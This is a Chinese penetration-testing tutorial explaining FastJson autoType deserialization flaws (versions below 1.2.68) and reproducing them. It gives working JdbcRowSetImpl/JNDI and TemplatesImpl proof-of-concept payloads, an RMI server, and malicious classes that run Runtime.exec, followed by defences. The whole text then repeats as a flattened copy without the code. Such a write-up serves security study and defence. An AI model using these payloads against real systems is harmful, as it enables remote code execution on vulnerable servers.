渗透测试 | FastJson漏洞原理与复现
字数 1786 2025-08-11 08:35:44

FastJson漏洞原理与复现详解

1. FastJson简介

FastJson是阿里巴巴开发的Java语言编写的高性能JSON库,用于在JSON和Java Object之间进行转换。主要提供两个接口:

  • JSON.toJSONString:实现序列化(Java对象→JSON)
  • JSON.parseObject/JSON.parse:实现反序列化(JSON→Java对象)

2. 关键类与属性

2.1 核心类

  • JSON:门面类,提供入口
  • DefaultJSONParser:主解析类
  • ParserConfig:配置相关类
  • JSONLexerBase:字符分析类
  • JavaBeanDeserializer:JavaBean反序列化类

2.2 重要属性

  • SerializerFeature.WriteClassName:序列化时写入@type标记
  • Feature.SupportNonPublicField:反序列化时支持非public字段

3. 序列化与反序列化机制

3.1 序列化(Java→JSON)

常用方法:JSON.toJSONString()

关键特性:

  • SerializerFeature:可设置多个序列化特性
  • SerializeFilter:定制序列化的接口
  • SerializeConfig:特定类型的自定义序列化配置

3.2 反序列化(JSON→Java)

常用方法:

  • parse
  • parseObject
  • parseArray

关键参数:

  • Feature:反序列化特性
  • Type:指定反序列化的类类型
  • TypeReference:处理泛型反序列化
  • ParseProcess:定制反序列化

3.3 parse与parseObject区别

  • JSON.parse(jsonString):从JSON字符串解析@type指定的类
  • JSON.parseObject(jsonString, Target.class):直接使用指定的Target.class

4. 漏洞原理

4.1 漏洞核心

FastJson的autoType机制:当指定@type时,会调用对应类的setter/getter方法,如果这些方法存在安全隐患,就可能被利用。

4.2 调用链分析

  1. 创建DefaultJSONParser对象
  2. 解析@type指定的类
  3. 通过TypeUtils.loadClass加载类
  4. 创建ObjectDeserializer对象
  5. 调用getDeserializer方法(存在黑名单绕过问题)
  6. 最终调用setter/getter方法

4.3 可被调用的方法条件

setter方法条件

  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

getter方法条件

  • 非静态方法
  • 无参数
  • 返回值类型继承自Collection/Map/AtomicBoolean/AtomicInteger/AtomicLong

5. 漏洞利用链

5.1 JdbcRowSetImpl利用链(JNDI注入)

利用类com.sun.rowset.JdbcRowSetImpl

核心点javax.naming.InitialContext#lookup参数可控

PoC

String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
JSON.parse(PoC);

RMI服务端

Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("vita_rain", "EvilObject", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

恶意类

public class EvilObject {
    static {
        try{
            Runtime.getRuntime().exec("calc");
        }catch (IOException e){
            e.printStackTrace();
        }
    }
}

替代方案
使用marshalsec启动RMI服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#EvilOb" 1099

5.2 TemplatesImpl利用链

利用类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

核心点:利用_outputProperties私有变量的getter方法

调用链

getOutputProperties() → newTransformer() → getTransletInstance() → defineTransletClasses() / EvilClass.newInstance()

PoC生成

public static String generateEvil() throws Exception {
    ClassPool pool = ClassPool.getDefault();
    CtClass clas = pool.makeClass("Evil");
    pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
    String cmd = "Runtime.getRuntime().exec(\"calc\");";
    clas.makeClassInitializer().insertBefore(cmd);
    clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));
    byte[] bytes = clas.toBytecode();
    return Base64.getEncoder().encodeToString(bytes);
}

触发PoC

String PoC = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"bytecodes\":[\"" + evil + "\"], \"name\":\"a.b\", \"_tfactory\":{}, \"_outputProperties\":{}, \"allowedProtocols\":\"all\"}";
JSON.parseObject(PoC, Object.class, Feature.SupportNonPublicField);

注意事项

  1. _bytecodes必须包含恶意类的字节码,且该类父类为AbstractTranslet
  2. _name_tfactory成员变量不能为空
  3. 需要使用Feature.SupportNonPublicField参数来设置私有变量

6. 漏洞版本

FastJson < 1.2.68 版本存在相关漏洞

7. 防御措施

  1. 升级到最新版本
  2. 关闭autotype功能
  3. 使用白名单机制限制反序列化的类
  4. 避免反序列化不可信的JSON数据
FastJson漏洞原理与复现详解 1. FastJson简介 FastJson是阿里巴巴开发的Java语言编写的高性能JSON库,用于在JSON和Java Object之间进行转换。主要提供两个接口: JSON.toJSONString :实现序列化(Java对象→JSON) JSON.parseObject / JSON.parse :实现反序列化(JSON→Java对象) 2. 关键类与属性 2.1 核心类 JSON :门面类,提供入口 DefaultJSONParser :主解析类 ParserConfig :配置相关类 JSONLexerBase :字符分析类 JavaBeanDeserializer :JavaBean反序列化类 2.2 重要属性 SerializerFeature.WriteClassName :序列化时写入 @type 标记 Feature.SupportNonPublicField :反序列化时支持非public字段 3. 序列化与反序列化机制 3.1 序列化(Java→JSON) 常用方法: JSON.toJSONString() 关键特性: SerializerFeature :可设置多个序列化特性 SerializeFilter :定制序列化的接口 SerializeConfig :特定类型的自定义序列化配置 3.2 反序列化(JSON→Java) 常用方法: parse parseObject parseArray 关键参数: Feature :反序列化特性 Type :指定反序列化的类类型 TypeReference :处理泛型反序列化 ParseProcess :定制反序列化 3.3 parse与parseObject区别 JSON.parse(jsonString) :从JSON字符串解析 @type 指定的类 JSON.parseObject(jsonString, Target.class) :直接使用指定的 Target.class 4. 漏洞原理 4.1 漏洞核心 FastJson的autoType机制:当指定 @type 时,会调用对应类的setter/getter方法,如果这些方法存在安全隐患,就可能被利用。 4.2 调用链分析 创建 DefaultJSONParser 对象 解析 @type 指定的类 通过 TypeUtils.loadClass 加载类 创建 ObjectDeserializer 对象 调用 getDeserializer 方法(存在黑名单绕过问题) 最终调用setter/getter方法 4.3 可被调用的方法条件 setter方法条件 : 非静态函数 返回类型为void或当前类 参数个数为1个 getter方法条件 : 非静态方法 无参数 返回值类型继承自Collection/Map/AtomicBoolean/AtomicInteger/AtomicLong 5. 漏洞利用链 5.1 JdbcRowSetImpl利用链(JNDI注入) 利用类 : com.sun.rowset.JdbcRowSetImpl 核心点 : javax.naming.InitialContext#lookup 参数可控 PoC : RMI服务端 : 恶意类 : 替代方案 : 使用marshalsec启动RMI服务: 5.2 TemplatesImpl利用链 利用类 : com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 核心点 :利用 _outputProperties 私有变量的getter方法 调用链 : PoC生成 : 触发PoC : 注意事项 : _bytecodes 必须包含恶意类的字节码,且该类父类为 AbstractTranslet _name 和 _tfactory 成员变量不能为空 需要使用 Feature.SupportNonPublicField 参数来设置私有变量 6. 漏洞版本 FastJson < 1.2.68 版本存在相关漏洞 7. 防御措施 升级到最新版本 关闭autotype功能 使用白名单机制限制反序列化的类 避免反序列化不可信的JSON数据